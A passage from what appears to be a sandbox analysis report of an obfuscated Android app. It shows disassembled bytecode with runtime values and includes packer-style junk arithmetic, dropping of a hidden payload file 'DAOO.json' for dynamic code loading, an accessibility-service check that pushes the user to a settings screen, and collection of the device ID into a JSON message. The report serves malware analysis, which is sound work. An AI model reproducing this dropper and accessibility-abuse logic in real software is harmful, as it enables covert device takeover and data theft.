                                                • android.app.JobSchedulerImpl@cdfda81
                                            55move-result-object v0
                                            56check-cast v0, Landroid/app/job/JobScheduler;
                                            58invoke-virtual {v0, v1}, Landroid/app/job/JobScheduler;->schedule(Landroid/app/job/JobInfo;)I
                                            59goto_55: return-void
                                            60cond_56:
                                            61const-string v0, "jobscheduler"
                                            63invoke-virtual {p0, v0}, Limprove/harbor/eager/MainService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                            64move-result-object v0
                                            65check-cast v0, Landroid/app/job/JobScheduler;
                                            67invoke-virtual {v0, v1}, Landroid/app/job/JobScheduler;->schedule(Landroid/app/job/JobInfo;)I
                                            68goto/16 :goto_55
                                            69cond_62: move v0, v2
                                            70goto/16 :goto_26
                                            APIs
                                            • android.app.Application.<init>
                                            • access.pact.agent.DShYpWtBhUhFx.unfairfinal
                                            • access.pact.agent.DShYpWtBhUhFx.flipelevator
                                            • access.pact.agent.DShYpWtBhUhFx.siegepyramid
                                            • access.pact.agent.DShYpWtBhUhFx.coreopera
                                            • access.pact.agent.DShYpWtBhUhFx.trialreunion
                                            • access.pact.agent.DShYpWtBhUhFx.itemcalm
                                            • access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu.<init>
                                            Strings
                                            • iLRapmXgZTQNcgwoQduScUjXabT
                                            • DynamicLib
                                            • qpbIgipkIbEJAhXBsJBxRcLouFGFSNgkbPnYeyPlOEHZnqikED
                                            • DynamicOptDex
                                            • DAOO.json
                                            • wCQDitBelwfoCOOANswdXhTc
                                            Position Instruction Meta Information
                                            1invoke-direct {p0}, Landroid/app/Application;-><init>()V
                                            2const-wide/32 v0, 0x84818a
                                            3iput-wide v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->d_7677908:J
                                            4const/4 v0, 0x1
                                            5iput-boolean v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->OQeqylrpLYKrDUphRNM_879433:Z
                                            6const/16 v1, 0x26
                                            7iput-short v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->DHSWSZxsA_51:S
                                            8const v1, 0xed7d7
                                            9iput v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->WEonIjoyYhYRfqmGYFQeD_958288:I
                                            10const/4 v1, 0x0
                                            11iput-object v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->UEmZlYnWhUjRfTiLsPrXtPpHeKhDxTbJjYtXmYiRd:Landroid/content/Context;
                                            12const/16 v1, 0x38
                                            13iput-byte v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->HUUtgiT_61:B
                                            15invoke-static {}, Laccess/pact/agent/DShYpWtBhUhFx;->unfairfinal()Ljava/lang/String;
                                            • Time: 1496690
                                              • Return:
                                                • iLRapmXgZTQNcgwoQduScUjXabT
                                            16move-result-object v1
                                            17iput-object v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->BAFcmGfOyzZ_931322:Ljava/lang/String;
                                            19invoke-static {}, Laccess/pact/agent/DShYpWtBhUhFx;->flipelevator()Ljava/lang/String;
                                            • Time: 1496708
                                              • Return:
                                                • DynamicLib
                                            20move-result-object v1
                                            21iput-object v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->HCbUfXbJqLpUeFsJnMtPkFcJcUtHyJsCoPwGoZz:Ljava/lang/String;
                                            22const/4 v1, 0x0
                                            23iput-boolean v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->n_648509:Z
                                            25invoke-static {}, Laccess/pact/agent/DShYpWtBhUhFx;->siegepyramid()Ljava/lang/String;
                                            • Time: 1496715
                                              • Return:
                                                • qpbIgipkIbEJAhXBsJBxRcLouFGFSNgkbPnYeyPlOEHZnqikED
                                            26move-result-object v1
                                            27iput-object v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->hwLTgEqEYSR_103994:Ljava/lang/String;
                                            28const-wide/32 v1, 0x615fc
                                            29iput-wide v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->uRsEKQxPeRmkaR_3120710:J
                                            30const v1, 0xcdcfd
                                            31iput v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->btMQ_377496:I
                                            32const-wide v1, 0x4147800e00000000L # 3080220.0
                                            33iput-wide v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->teENzusbS_842643:D
                                            34const/16 v1, 0x2e
                                            35iput-byte v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->xldBeao_84:B
                                            37invoke-static {}, Laccess/pact/agent/DShYpWtBhUhFx;->coreopera()Ljava/lang/String;
                                            • Time: 1496721
                                              • Return:
                                                • DynamicOptDex
                                            38move-result-object v1
                                            39iput-object v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->TWuNqBiYnEdWuEuDiLtNaSdPiLtZbGq:Ljava/lang/String;
                                            40const/16 v1, 0x61
                                            41iput-byte v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->weCgaai_38:B
                                            42const/16 v1, 0x64
                                            43iput-char v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->AjhNzLPXPEYRHCYCHcE_507193:C
                                            45invoke-static {}, Laccess/pact/agent/DShYpWtBhUhFx;->trialreunion()Ljava/lang/String;
                                            • Time: 1496727
                                              • Return:
                                                • DAOO.json
                                            46move-result-object v1
                                            47iput-object v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->CNrXaKuEgJjUgEzDaBoDi:Ljava/lang/String;
                                            48iput-byte v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->Squqt_3:B
                                            49const v0, 0x491d7650 # 644965.0f
                                            50iput v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->pjcmHymhjZIJgCGMwgh_55846:F
                                            52invoke-static {}, Laccess/pact/agent/DShYpWtBhUhFx;->itemcalm()Ljava/lang/String;
                                            • Time: 1496733
                                              • Return:
                                                • wCQDitBelwfoCOOANswdXhTc
                                            53move-result-object v0
                                            54iput-object v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->tlUie_581471:Ljava/lang/String;
                                            55const/16 v0, 0x19
                                            56iput-short v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->Mboj_4:S
                                            57new-instance v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;
                                            59invoke-direct {v0}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;-><init>()V
                                            60iput-object v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->PWtKuOsLrJsFpNkWsBkXn:Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;
                                            61new-instance v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;
                                            63invoke-direct {v0}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;-><init>()V
                                            64iput-object v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->TYlDrYdGiOdGgQjQsTyFeOdGhRzUwQuAiXzYwNbTt:Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;
                                            65const-wide/32 v0, 0x1e51cf
                                            66iput-wide v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->UnOeWYZXiLGxCtQB_9644219:J
                                            67return-void
                                            APIs
                                            • java.lang.Integer.intValue
                                            • android.content.Intent.<init>
                                            • android.content.Intent.addFlags
                                            • android.content.Intent.addFlags
                                            • android.content.Intent.addFlags
                                            • android.content.Intent.addFlags
                                            • android.content.Context.startActivity
                                            Strings
                                            • ACCESSIBILITY_RUNNING
                                            • TXT_C_16
                                            • TXT_105
                                            Position Instruction Meta Information
                                            1invoke-static {p1}, Limprove/harbor/eager/g;->a(Landroid/content/Context;)Limprove/harbor/eager/g;
                                            2move-result-object v0
                                            4const-string v1, "ACCESSIBILITY_RUNNING"
                                            6invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            7move-result-object v0
                                            9invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            10move-result v0
                                            11const/4 v1, 0x1
                                            12if-eq v0, v1, :cond_3f
                                            14const-string v0, "TXT_C_16"
                                            16invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            17move-result-object v0
                                            19const-string v1, "TXT_105"
                                            21invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            22move-result-object v1
                                            24invoke-static {p1, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            25new-instance v0, Landroid/content/Intent;
                                            26const-class v1, Limprove/harbor/eager/SettingsActivity;
                                            28invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            29const/high16 v1, 0x10000000
                                            31invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            32const/high16 v1, 0x4000000
                                            34invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            35const/high16 v1, 0x20000000
                                            37invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            38const v1, 0x8000
                                            40invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            42invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                            • Time: 1521256
                                              • This:
                                                • android.app.ReceiverRestrictedContext@244473c
                                              • p0: Intent { flg=0x34008000 cmp=access.pact.agent/improve.harbor.eager.SettingsActivity }
                                            43cond_3f: return-void
                                            Cross References
                                            APIs
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • org.json.JSONException.printStackTrace
                                            Strings
                                            • DEVICE_ID
                                            • ANDROID_ID
                                            • RELEASE_VERSION
                                            • MSG
                                            Position Instruction Meta Information
                                            1invoke-static {p0}, Limprove/harbor/eager/g;->a(Landroid/content/Context;)Limprove/harbor/eager/g;
                                            2move-result-object v0
                                            3new-instance v1, Lorg/json/JSONObject;
                                            5invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                            • Time: 1517069
                                              • Return:
                                                • {}
                                            6try_start_9:
                                            7const-string v2, "DEVICE_ID"
                                            9const-string v3, "ANDROID_ID"
                                            11invoke-virtual {v0, v3}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            12move-result-object v3
                                            14invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            16const-string v2, "RELEASE_VERSION"
                                            18const-string v3, "RELEASE_VERSION"
                                            20invoke-virtual {v0, v3}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            21move-result-object v0
                                            23invoke-virtual {v1, v2, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            25const-string v0, "MSG"
                                            27invoke-virtual {v1, v0, p1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            28try_end_24:
                                            29invoke-virtual {v1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            30move-result-object v0
                                            31return-object v0
                                            32catch_29: move-exception v0
                                            34invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
                                            35goto/16 :goto_24
                                            Cross References
                                            APIs
                                            • java.io.File.<init>
                                            • java.lang.Long.signum
                                            • java.lang.Exception.printStackTrace
                                            • java.io.IOException.printStackTrace
                                            • java.io.IOException.printStackTrace
                                            Strings
                                            • /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/io/IOException;
                                            3}
                                            4.end annotation
                                            5sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            6sget v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            7const/16 v2, 0x17
                                            8const v3, 0xab53b
                                            9if-eq v0, v3, :cond_21
                                            10sget-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            11sget-wide v3, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            12and-long v5, v0, v3
                                            13sput-wide v5, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            14sput v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            15const-wide/32 v5, 0x287992
                                            16sget-wide v7, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            17add-long/2addr v0, v5
                                            18mul-long v3, v3, v7
                                            19sub-long/2addr v0, v3
                                            20sput-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            21goto/16 :goto_48
                                            22cond_21: const v3, 0x306ec
                                            23if-ge v0, v3, :cond_2b
                                            24const v0, 0xd8ac4
                                            25if-ne v1, v0, :cond_48
                                            26cond_2b: sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            27const v1, 0x59461
                                            28sget v3, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            29const v4, 0xab260
                                            30and-int/2addr v1, v3
                                            31and-int/2addr v1, v4
                                            32xor-int/2addr v0, v1
                                            33sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            34sget-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            35sget-wide v3, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            36const-wide/32 v5, 0x4be076
                                            37sget-wide v7, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            38xor-long/2addr v0, v3
                                            39xor-long/2addr v0, v5
                                            40xor-long/2addr v0, v7
                                            41sput-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            42cond_48: const v0, 0xe2ce7
                                            43sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            44sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            45const v1, 0x2686f
                                            46shl-int/2addr v0, v1
                                            47sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            48sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            49sget v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            50sget v3, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            51const v4, 0xbe07
                                            52and-int/2addr v1, v3
                                            53xor-int/2addr v0, v1
                                            54xor-int/2addr v0, v4
                                            55int-to-double v0, v0
                                            56sput-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            57new-instance v1, Ljava/io/File;
                                            58move-object/from16 v0, p0
                                            60invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                            • Time: 1496744
                                              • This:
                                                • /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                              • p0: /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                              • Return:
                                                • /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                            61const/16 v4, 0x8
                                            62const/4 v5, 0x0
                                            63try_start_6e:
                                            64invoke-static/range {p1 .. p2}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->buddyabstract(Landroid/content/Context;Ljava/lang/String;)Ljava/io/InputStream;
                                            65move-result-object v6
                                            66try_end_72: const/16 v0, 0xf
                                            67try_start_74: new-array v0, v0, [I
                                            68const v7, 0x2f7f5
                                            69aput v7, v0, v5
                                            70const v7, 0x2f223
                                            71const/4 v8, 0x1
                                            72aput v7, v0, v8
                                            73const v7, 0xa9f10
                                            74const/4 v9, 0x2
                                            75aput v7, v0, v9
                                            76const v7, 0x2549a
                                            77const/4 v10, 0x3
                                            78aput v7, v0, v10
                                            79const v7, 0xc1aa0
                                            80const/4 v11, 0x4
                                            81aput v7, v0, v11
                                            82const v7, 0x5cd78
                                            83const/4 v12, 0x5
                                            84aput v7, v0, v12
                                            85const v7, 0x1c3af
                                            86const/4 v13, 0x6
                                            87aput v7, v0, v13
                                            88const v7, 0x8d121
                                            89const/4 v14, 0x7
                                            90aput v7, v0, v14
                                            91const v7, 0x7eab6
                                            92aput v7, v0, v4
                                            93const v7, 0x53e32
                                            94const/16 v15, 0x9
                                            95aput v7, v0, v15
                                            96const v7, 0x17db8
                                            97const/16 v16, 0xa
                                            98aput v7, v0, v16
                                            99const v7, 0x9d6d7
                                            100const/16 v17, 0xb
                                            101aput v7, v0, v17
                                            102const v7, 0xd3cdf
                                            103const/16 v18, 0xc
                                            104aput v7, v0, v18
                                            105const/16 v7, 0xd
                                            106const v19, 0xc221a
                                            107aput v19, v0, v7
                                            108const/16 v7, 0xe
                                            109const v19, 0xc59e3
                                            110aput v19, v0, v7
                                            111array-length v7, v0
                                            112const/4 v3, 0x0
                                            113goto_d6: if-ge v3, v7, :cond_ef
                                            114aget v19, v0, v3
                                            115sget v20, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            116sget v21, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            117sget v22, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            118or-int v19, v19, v20
                                            119or-int v19, v19, v21
                                            120or-int v15, v19, v22
                                            121int-to-double v14, v15
                                            122sput-wide v14, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            123add-int/lit8 v3, v3, 0x1
                                            124const/4 v14, 0x7
                                            125const/16 v15, 0x9
                                            126goto/16 :goto_d6
                                            127cond_ef:
                                            128invoke-static {v1}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->earthcarpet(Ljava/io/File;)Ljava/io/FileOutputStream;
                                            129move-result-object v3
                                            130try_end_f3: const/high16 v0, 0x300000
                                            131try_start_f5: new-array v0, v0, [B
                                            132sget v7, Laccess/pact/agent/PLrXdYwWdYpDiKl;->rxApflPCnMcAU_249442:F
                                            133const v14, 0x491cec20 # 642754.0f
                                            134mul-float v7, v7, v14
                                            135sput v7, Laccess/pact/agent/PLrXdYwWdYpDiKl;->rxApflPCnMcAU_249442:F
                                            136const/16 v7, 0x78
                                            137sput v7, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            138const v7, 0x1333f
                                            139sget v14, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            140sget v15, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            141sget v19, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            142or-int/2addr v7, v14
                                            143and-int v14, v15, v19
                                            144or-int/2addr v7, v14
                                            145int-to-double v14, v7
                                            146sput-wide v14, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            147const-wide/32 v14, 0x20f4c1
                                            148sget-wide v19, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            149sget-wide v21, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            150const-wide/32 v23, 0x726b63
                                            151div-long v14, v14, v19
                                            152try_end_120:
                                            153invoke-static {v14, v15}, Ljava/lang/Long;->signum(J)I
                                            154mul-long v14, v14, v21
                                            155sub-long v14, v14, v23
                                            156try_start_127: sput-wide v14, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            157goto_129:
                                            158invoke-static {v6, v0}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->bouncefortune(Ljava/io/InputStream;[B)I
                                            159move-result v7
                                            160if-gez v7, :cond_272
                                            161sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            162sget v7, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            163const v14, 0x23aa6
                                            164if-ge v0, v14, :cond_150
                                            165const/16 v0, 0xae
                                            166sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            167const/16 v0, 0x1e
                                            168sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            169const v0, 0x2586a
                                            170sget v7, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            171sget v14, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            172const v15, 0xa4c14
                                            173div-int/2addr v0, v7
                                            174sub-int/2addr v0, v14
                                            175add-int/2addr v0, v15
                                            176sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            177goto/16 :goto_16f
                                            178cond_150: const v14, 0x21801
                                            179if-lt v0, v14, :cond_16f
                                            180const v0, 0x870f7
                                            181if-ne v7, v0, :cond_16f
                                            182const/16 v0, 0x2e
                                            183sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            184sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->rxApflPCnMcAU_249442:F
                                            185const v7, 0x489932e0 # 313751.0f
                                            186sget v14, Laccess/pact/agent/PLrXdYwWdYpDiKl;->rxApflPCnMcAU_249442:F
                                            187const v15, 0x45bf7800 # 6127.0f
                                            188mul-float v14, v14, v7
                                            189mul-float v14, v14, v15
                                            190sub-float/2addr v0, v14
                                            191sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->rxApflPCnMcAU_249442:F
                                            192goto_16f:
                                            193invoke-static {v1}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->onceschool(Ljava/io/File;)I
                                            194move-result v0
                                            195new-array v7, v0, [B
                                            196try_end_175:
                                            197invoke-static {v1, v7}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->warfarewife(Ljava/io/File;[B)V
                                            198try_end_178: goto/16 :goto_17e
                                            199catch_179: move-exception v0
                                            200move-object v14, v0
                                            201try_start_17b:
                                            202invoke-virtual {v14}, Ljava/lang/Exception;->printStackTrace()V
                                            203goto_17e: sput v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            204sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            205sget v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            206div-int/2addr v0, v2
                                            207sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            208sget-wide v14, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            209sget-wide v19, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            210sub-long v14, v14, v19
                                            211sput-wide v14, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            212const/16 v0, 0xe
                                            213new-array v0, v0, [I
                                            214const v2, 0x97171
                                            215aput v2, v0, v5
                                            216const v2, 0xd575e
                                            217aput v2, v0, v8
                                            218const v2, 0xeedda
                                            219aput v2, v0, v9
                                            220const v2, 0xb203e
                                            221aput v2, v0, v10
                                            222const v2, 0x53130
                                            223aput v2, v0, v11
                                            224const v2, 0xea082
                                            225aput v2, v0, v12
                                            226const v2, 0xf372e
                                            227aput v2, v0, v13
                                            228const v2, 0x8ac64
                                            229const/4 v14, 0x7
                                            230aput v2, v0, v14
                                            231const v2, 0x7128d
                                            232aput v2, v0, v4
                                            233const v2, 0x2fef0
                                            234const/16 v15, 0x9
                                            235aput v2, v0, v15
                                            236const/16 v2, 0x287
                                            237aput v2, v0, v16
                                            238const v2, 0xdd7a7
                                            239aput v2, v0, v17
                                            240const v2, 0x30bef
                                            241aput v2, v0, v18
                                            242const/16 v2, 0xd
                                            243const v9, 0x37c61
                                            244aput v9, v0, v2
                                            245array-length v2, v0
                                            246const/4 v9, 0x0
                                            247goto_1df: if-ge v9, v2, :cond_203
                                            248aget v10, v0, v9
                                            249sget-wide v10, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            250const-wide v12, 0x40fdd1a000000000L # 122138.0
                                            251div-double/2addr v10, v12
                                            252sput-wide v10, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            253const v10, 0x485f4600 # 228632.0f
                                            254sget v11, Laccess/pact/agent/PLrXdYwWdYpDiKl;->rxApflPCnMcAU_249442:F
                                            255div-float/2addr v10, v11
                                            256sput v10, Laccess/pact/agent/PLrXdYwWdYpDiKl;->rxApflPCnMcAU_249442:F
                                            257const-wide/32 v10, 0x45d8d
                                            258sget-wide v12, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            259sget-wide v14, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            260div-long/2addr v12, v14
                                            261xor-long/2addr v10, v12
                                            262sput-wide v10, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            263add-int/lit8 v9, v9, 0x1
                                            264goto/16 :goto_1df
                                            265cond_203:
                                            266invoke-static {v7}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->naturevalley([B)[B
                                            267move-result-object v0
                                            269invoke-static {v1}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->recycleblue(Ljava/io/File;)Ljava/lang/String;
                                            270move-result-object v1
                                            272invoke-static {v0, v1}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->nationaspect([BLjava/lang/String;)V
                                            273sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            274sget v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            275and-int/2addr v0, v1
                                            276sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            277const/16 v0, 0x3d
                                            278sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            279const-wide/32 v0, 0x851e42
                                            280sget-wide v9, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            281const-wide/32 v11, 0x80b497
                                            282sget-wide v13, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            283xor-long/2addr v0, v9
                                            284xor-long v9, v13, v11
                                            285or-long/2addr v0, v9
                                            286sput-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            287try_end_229: if-eqz v6, :cond_235
                                            288try_start_22b:
                                            289invoke-static {v6}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->circlespin(Ljava/io/InputStream;)V
                                            290try_end_22e: goto/16 :goto_235
                                            291catch_22f: move-exception v0
                                            292move-object v1, v0
                                            293try_start_231:
                                            294invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
                                            295const/4 v8, 0x0
                                            296cond_235: if-nez v3, :cond_238
                                            297return v8
                                            298cond_238: sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            299const/16 v1, 0x6539
                                            300if-gt v0, v1, :cond_258
                                            301const v0, 0x87fe9
                                            302sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            303sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            304const v1, 0xead61
                                            305ushr-int/2addr v0, v1
                                            306sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
